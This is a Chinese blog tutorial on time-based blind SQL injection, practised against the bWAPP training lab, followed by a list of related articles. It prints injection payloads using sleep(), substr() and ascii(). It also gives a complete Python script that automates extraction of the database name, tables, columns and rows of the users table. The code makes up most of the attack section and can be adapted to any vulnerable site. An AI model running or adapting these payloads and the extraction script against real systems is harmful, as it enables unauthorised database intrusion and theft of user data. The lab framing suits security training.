渗透测试——sql注入进阶/基于时间的盲注/一看就会/
目录
一、注入点判断
注入类型
SQL注入的类型
二、基于时间的时间盲注
什么是时间盲注
sleep()函数
常用函数
三、bWAPP基于时间的盲注实战
一、注入点判断
1、输入一个单引号',因为语句中多了一个',在没有括号的情况下,系统会认为后续内容为字符串,从而报错,如果看到错误提示信息,则说明存在sql注入漏洞(单引号个数不匹配)
2、括号的情况,sql里面如果存在('1')这种情况,注释在括号中是不生效的,即('1-- +')不会将')注释掉,且输入双引号不会报错,同理("1")这种情况下输入单引号不会报错
注入类型
数字型:select * from xxx where id=1
这个时候我们注入就不用再添加单引号啦
判断方法:先输入一个' 看到错误信息,再注释掉后续内容 即 ‘ -- + 发现还是报错,提示信息中看不到括号等信息,可以猜测是数字型注入
字符型:select * from xxx where id='1'
这个时候构造中最好都带上单引号即,select * from xxx where id='1' or '1'='1'
判断方法:与数字型相反,注释掉后续内容后不报错,可以猜测是字符型
SQL注入的类型
boolean-Base布尔型盲注
Union联合查询注入
Time-Based基于时间延迟注入
Error-Based报错型注入
二、基于时间的时间盲注
盲注的时候非常看响应速度,即延迟,phpstudy本身会有2s左右的延时,将靶场连接数据库的参数localhost 改成127.0.0.1 让速度快起来!
什么是时间盲注
盲注:顾名思义摸黑注入,其实就是没有回显了,甚至连注入语句是否执行都不清楚
时间盲注:通过注入特定的语句,根据对页面请求的物理反馈,来判断是否注入成功。在sql中使用sleep()函数看加载网页的时间来判断注入点
sleep()函数
sleep(n)会延时显示结果,且延时的时间为 n×查询到的记录数
例: select * from xx where a='aa' and sleep(3) (每一条记录都会延时3秒)
注:and前为真的时候才会延时,延时时间除以3,算出满足前面条件的记录条数
常用函数
睡眠函数
sleep(n)——返回0、中断返回1
截取字符串
substr('str',1,1)从第一个开始取取一个——substr(字符串,开始位置,取几个)
不写第三个参数,默认取到最后一个字符
select substr(database(),1,1)='q' and sleep(3) ——猜解数据库名过程
猜解数据库名的过程中,我们需要知道数据库名的长度
第三个函数获取长度
length()——返回长度
select length(database())
获取ascii码
select ascii('str') ——返回第一个字符的ascii码
为啥要用ASCII码呢,select substr(database(),1,1)='q' and sleep(3)这种直接写='a'的形式不是也可以吗,但是在时间盲注猜解时,如果一个一个试非常的麻烦而且工作量巨大,这个时候就应该写一个脚本,自动的来猜测,脚本如果直接用字母符号计算的时候会比较慢,所以使用ASCII码会提高效率
select ascii(substr(database(),1,1)) > 50 and sleep(2)——猜解第一位
很多函数都有变种,用法与效果类似,名字不同,在某些时候,一些函数被禁止调用,可以寻找其变种来使用,如:substr与mid,left()从左往右截,ascii与ord
三、bWAPP基于时间的盲注实战
这次还是选用bWAPP靶场,选择time
可以看到下面提示,返回值将使用邮箱发回,简而言之就是说!没有回显啦小老弟
接下来试试sleep函数能不能用
F12,然后输入一个1 search一下
可以看到延时才5毫秒
接下来尝试输入
1' or sleep(1) -- +
因为提示我们输入电影名了,所以大概率是字符型的,为啥用or呢因为用and时要保证前面的是正确的才可以执行sleep,测试一下
这里得等一会才出来,其实等待的时候就已经说明这个sleep起效了
接下来我们需要通过sleep是否起效来判断一些内容,所以必须保证它前面这个是正确的,所以接下来试一下怎么让 xxx' and sleep(1) 起效
i' or 1=1 and sleep(1) -- + 试试前面学过的万能密码
ok这时候sleep也起效了
但是因为用了万能密码,我们还是要确认一下如果再加判断(我们需要确定的)是否会被万能密码影响,
i' or 1=1 and 1=2 and sleep(1) -- +
ok这时没sleep
再试一下
i' or 1=1 and 1=1 and sleep(1) -- +
可喜可贺sleep了
综上说明可以用万能密码配合sleep
接下来就是尝试获取数据库名了
两种方法:手试和写脚本
手试(就试一个字母吧,毕竟写脚本还是简单的)
要获取数据库名先要获取数据库名称长度
i' or 1=1 and length(database())=? and sleep(1) -- +
这句话内部的select会计算数据库名长度,外面呢就是尝试,?处填入不同的数字,如果sleep了
说明试对了,为了效率可以把等于号换成大于号或小于号
i' or 1=1 and length(database())>4 and sleep(1) -- +
sleep了说明数据库名长度大于4
i' or 1=1 and length(database())>5 and sleep(1) -- +
不大于5,那就是5
i' or 1=1 and length(database())=5 and sleep(1) -- +
这里说个or 1=1 的弊端,刚才说了sleep时间是根据记录条数来算的,or1=1其实是把所有记录都拿出来了,这里也可以看到延时几乎都到10s了,如果数据量再大点加上尝试很多次,这个延时就非常烦人了,最好还是拿一个准确的值出来
从上一章渗透拿到的数据来看有一个电影叫 Iron Man,可以用它来代替or 1=1
这个时候输入sleep(2)才延时2s,刚刚好,or 1= 1 确实挺浪费时间的
接下来就是拿数据库名了,为啥说要知道长度呢,因为数据库名是需要一个字符一个字符去试的,比如说现在拿到数据库名长度为5,那我们就需要尝试5组,每组出一个字符,是不是很麻烦,手动就演示一个字符吧
先构造语句
Iron Man' and substr(database(),1,1)='a' and sleep(1) -- +
Iron Man' and substr(database(),1,1)='b' and sleep(1) -- +
最后试出来第一个字符是b
ok,纯手试就到这里,下面开始快乐的敲代码!
先引入requests 和time包
接下来构造求数据库名长度的函数,连接url,查看返回值
发现有个name=login,这是为啥呢,因为和postman一样需要cookie来绕过登陆
界面不一样了,查找一下e-mail
ok说明已经进入到这个页面了
开始构造sql语句
import requests
import time
HEAD={"Cookie":"security_level=0; PHPSESSID=ijgbo5f94rr6ahbg1gp9ogdj53"
}
B_URL="http://localhost:8090/bwapp/bWAPP/sqli_15.php?"
def get_database_length():for i in range(100):url=B_URL+f"title=Iron Man' and length(database())={i} and sleep(1) -- + &action=search"start_time=time.time()requests.get(url,headers=HEAD)if time.time()-start_time>1:print(f"数据库名长度为{i}")return iif __name__=='__main__':get_database_length()
这里用开始时间减去响应完成的时间,算出整个过程的时间,如果大于1,说明sleep运行了,最后输出一下数据库名长度
接下来定义第二个函数,求解数据库名称
def get_database_name(lens):name=""for i in range(lens):for j in range(30,130):url=B_URL+f"title=Iron Man' and ascii(substr(database(),{i+1},1))={j} and sleep(1) -- + &action=search"start_time=time.time()requests.get(url,headers=HEAD)if time.time()-start_time>1:name+=chr(j)print(name)return name
if __name__=='__main__':get_database_name(get_database_length())
看!数据库名就出来啦,这里i是用来控制求五组,j是用来求每个字符的,字符的ascii码区间在
33到127之间好像,30到130肯定全乎
这里要注意substr是从1开始的limit是从0开始的,range是从0开始的
后面再chr()把ascii转换成字符串
接下来定义第三个函数,求解该数据库中有几张表
def get_table_count():for i in range(100):url = B_URL + f"title=Iron Man' and (select count(table_name) from information_schema.tables where table_schema=database())={i} and sleep(1) -- + &action=search"start_time = time.time()requests.get(url, headers=HEAD)if time.time() - start_time > 1:print(f"该数据库一共有{i}张表")return i
if __name__=='__main__':get_table_count()
这块和上面类似不过多赘述
接下来第四个函数,求解每个表名长度
def get_table_leng(count):a=[]for i in range(count):for j in range(100):url = B_URL + f"title=Iron Man' and (select length(table_name) from information_schema.tables where table_schema=database() limit {i},1 )={j} and sleep(1) -- + &action=search"start_time = time.time()requests.get(url, headers=HEAD)if time.time() - start_time > 1:print(f"第{i+1}张表的表名长度为{j}")a.append(j)if __name__=='__main__':get_table_leng(5)
这里用了limit 记得是从0开始的
接下来第五个函数,求解表名(这里写一个求解所有表名的,也可以写求解一个的)
def get_table_name(lens):a=[]for i in range(len(lens)):temp=""for j in range(lens[i]):for k in range(30,130):url = B_URL + f"title=Iron Man' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit {i},1),{j+1},1))={k} and sleep(1) -- + &action=search"start_time = time.time()requests.get(url, headers=HEAD)if time.time() - start_time > 1:temp+=chr(k)print(f"第{i+1}张表名为{temp}")a.append(temp)return a
if __name__=='__main__':get_table_name(get_table_leng(5))
别看sql语句挺长的,但是很容易看懂的看不懂的去看前面或者前几篇文章
表名就出来啦,接下来就是求字段数量、字段长度、字段名、记录数,记录长度,最后把记录提取出来,跟前面大同小异啦
完整代码
import requests
import time
#http://localhost:8090/bwapp/bWAPP/sqli_15.php?title=&action=search
HEADER={"Cookie":"security_level=0; PHPSESSID=ijgbo5f94rr6ahbg1gp9ogdj53"
}BASE_URL='http://localhost:8090/bwapp/bWAPP/sqli_15.php?'
def get_database_length():#Iron Man' and length(database())=1 and sleep(2)for i in range(100):url=BASE_URL+f"title=Iron Man' and length(database())={i} and sleep(2) --+ &action=search"start_time=time.time()requests.get(url,headers=HEADER)if time.time() -start_time>1:print(f"长度为{i}")return i
def get_database_name(len):name=""for j in range(1,len+1):for i in range(33,127):url = BASE_URL + f"title=Iron Man' and ascii(substr(database(),{j},1))={i} and sleep(3) --+ &action=search"start_time = time.time()requests.get(url, headers=HEADER)if time.time() - start_time > 1:name+=chr(i)print("数据库名字是"+name)return name
def get_table_name_count():for i in range(100):url=BASE_URL+f"title=Iron Man' and (select count(table_name) from information_schema.tables where table_schema=database())={i} and sleep(3) --+ &action=search"start_time=time.time()requests.get(url,headers=HEADER)if time.time()-start_time>1:print(i)return idef get_table_name_length(table_count):a=[]for j in range(table_count):for i in range(100):url=BASE_URL+f"title=Iron Man' and (select length(table_name) from information_schema.tables where table_schema=database() limit {j},1)={i} and sleep(3) --+ &action=search "start_time=time.time()requests.get(url,headers=HEADER)if time.time()-start_time>1:a.append(i)print(f"第{j}张表长度为{i}")return a
def get_table_name(lens):str=[]for j in range(len(lens)):temp = ""for i in range(lens[j]):for k in range(33,127):url=BASE_URL+f"title=Iron Man' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit {j},1),{i+1},1))={k} and sleep(3)--+ &action=search"start_time=time.time()requests.get(url,headers=HEADER)if time.time()-start_time>1:temp+=chr(k)print(temp)str.append(temp)print(str)
def get_columns_count(name):for i in range(100):url = BASE_URL + f"title=Iron Man' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='{name}')={i} and sleep(3) --+ &action=search"start_time = time.time()requests.get(url, headers=HEADER)if time.time() - start_time > 1:print(i)return i
def get_column_name_length(table_count,name):a=[]for j in range(table_count):for i in range(100):url=BASE_URL+f"title=Iron Man' and (select length(column_name) from information_schema.columns where table_schema=database() and table_name='{name}' limit {j},1)={i} and sleep(3) --+ &action=search "start_time=time.time()requests.get(url,headers=HEADER)if time.time()-start_time>1:a.append(i)print(f"第{j}张表长度为{i}")return a
def get_column_name(lens,name):str=[]for j in range(len(lens)):temp = ""for i in range(lens[j]):for k in range(33,127):url=BASE_URL+f"title=Iron Man' and ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='{name}' limit {j},1),{i+1},1))={k} and sleep(3)--+ &action=search"start_time=time.time()requests.get(url,headers=HEADER)if time.time()-start_time>1:temp+=chr(k)print(temp)str.append(temp)print(str)
def get_zd_count(name):for i in range(100):url = BASE_URL + f"title=Iron Man' and (select count(*) from {name})={i} and sleep(3) --+ &action=search"start_time = time.time()requests.get(url, headers=HEADER)if time.time() - start_time > 1:print(i)return i
def get_value(name,column,count):str_l=[]for i in range(count):str=""for j in range(100):url=BASE_URL+f"title=Iron Man' and (select length({column}) from {name} limit {i},1)={j} and sleep(3) --+ &action=search"start_time=time.time()requests.get(url,headers=HEADER)if time.time()-start_time>1:print(j)for k in range(j):for p in range(30,130):url = BASE_URL + f"title=Iron Man' and ascii(substr((select {column} from {name} limit {i},1),{k+1},1))={p} and sleep(3) --+ &action=search"start_time = time.time()requests.get(url, headers=HEADER)if time.time()-start_time>1:print(chr(p))str+=chr(p)str_l.append(str)
if __name__=='__main__':get_value('users','login',2)
嘎嘎嘎,就到这吧
渗透测试——sql注入进阶/基于时间的盲注/一看就会/相关推荐
- SQL注入进阶:掌握布尔盲注和延时注入攻击技巧
数据来源 一.什么是盲注? 盲注是指一种利用应用程序漏洞进行的攻击技术,攻击者通过在输入参数中注入恶意代码或数据来探测.提取和修改应用程序的敏感数据.它通常用于测试 Web 应用程序的安全性,并且可能 ...
- 渗透测试SQL注入——Sqlilabs关卡详解
目录 报错函数floor的利用 利用select into outfile写一句话木马 利用load_file 读敏感文件 利用sqlmap探测 sql盲注 get基于时间的盲注应用 post基于时间 ...
- SQL注入:sqli-labs lesson-8 lesson -9 基于布尔值和基于时间的盲注!
在上一次讲解了lesson -1的sql基本注入,我们在注入的时候,它会返回错误信息 但是盲注不会:什么是盲注:我理解的盲注是,web页面并不会返回错误信息,需要自己添加一些命令来让浏览器进行一些显而 ...
- SQL注入——基于时间的盲注(九)
本章目的 普及延时盲注技术的运用场景及条件,熟悉length().Substr().ascii().sleep().if()等函数的用法,掌握基于时间的盲注基本流程.PS:面试问答不深问就回答延迟 基 ...
- 渗透测试-SQL注入之sqlmap的使用方法及实战案例
SQL注入之sqlmap的使用方法及实战案例 文章目录 SQL注入之sqlmap的使用方法及实战案例 前言 一.sqlmap的使用方法 查库,表,列,以及相关的字段的信息 万能密码汇总 判断是否为字符 ...
- SQL注入——基于时间的盲注(sqli-labs less9)
一.基于时间得盲注 适用场景:没有数据回显,条件正确与否结果一样 利用方式:构造判断条件,添加sleep,逐个猜测(盲猜) 1.所需语法与函数 IF表达式 IF( expr1 , expr2 , ex ...
- mysql基于时间盲注_MYSQL基于时间的盲注详解
MYSQL基于时间的盲注 联合查询,报错注入,以及布尔盲注,都是基于攻击网站会回显消息,或者将错误信息返回在前端,或者会返回web页面的正确或错误 但是有时候网站关闭了错误回显或过滤了某些关键字,网页 ...
- 【SQL注入漏洞-04】布尔盲注靶场实战
布尔盲注 当我们改变前端页面传输给后台sql参数时,页面没有显示相应内容也没有显示报错信息时,不能使用联合查询注入和报错注入,这时我们可以考虑是否为基于布尔的盲注. 布尔盲注原理: 利用页面返回的布尔 ...
- 渗透测试-SQL注入之Fuzz绕过WAF
WAF绕过原理之Fuzz绕过 文章目录 WAF绕过原理之Fuzz绕过 前言 一.什么是Fuzz 二.利用Fuzz绕过WAF获取数据库信息 1.Fuzz绕过方法 2.利用Fuzz绕过WAF获取数据库信息 ...
最新文章
- Vue:Vue的< span >文字怎么加粗?
- python中的‘/’和'//'
- 深度学习总结:Tensorboard可视化里面的events, graph, histogram
- ajax以base64上传图片到django
- dede后台文章不能上传图片及缩略图的解决办法
- Data Binding 实践
- 机器人开发--技术路线简介
- 不差钱!华为,给学生开百万年薪
- word去掉多余空格,换行符
- 在IIS上部署ASP网站
- python闰年统计_利用Python写一个闰年计算器和每月天数计算器
- 【Web技术】1431- 总结前端主题切换的思考和现代前端样式的解决方案落地
- 电子科技大学--大数据论坛--相关资料
- TCP 与UDP 的区别
- Flask教程(一)
- Android 仿微信朋友圈拍小视频上传到服务器(转)
- tcpip四层源码分析(Linux)
- STM32的FPU体验
- [统计学教程] 第二章 统计调查
- 在Vue2中怎么解决跨域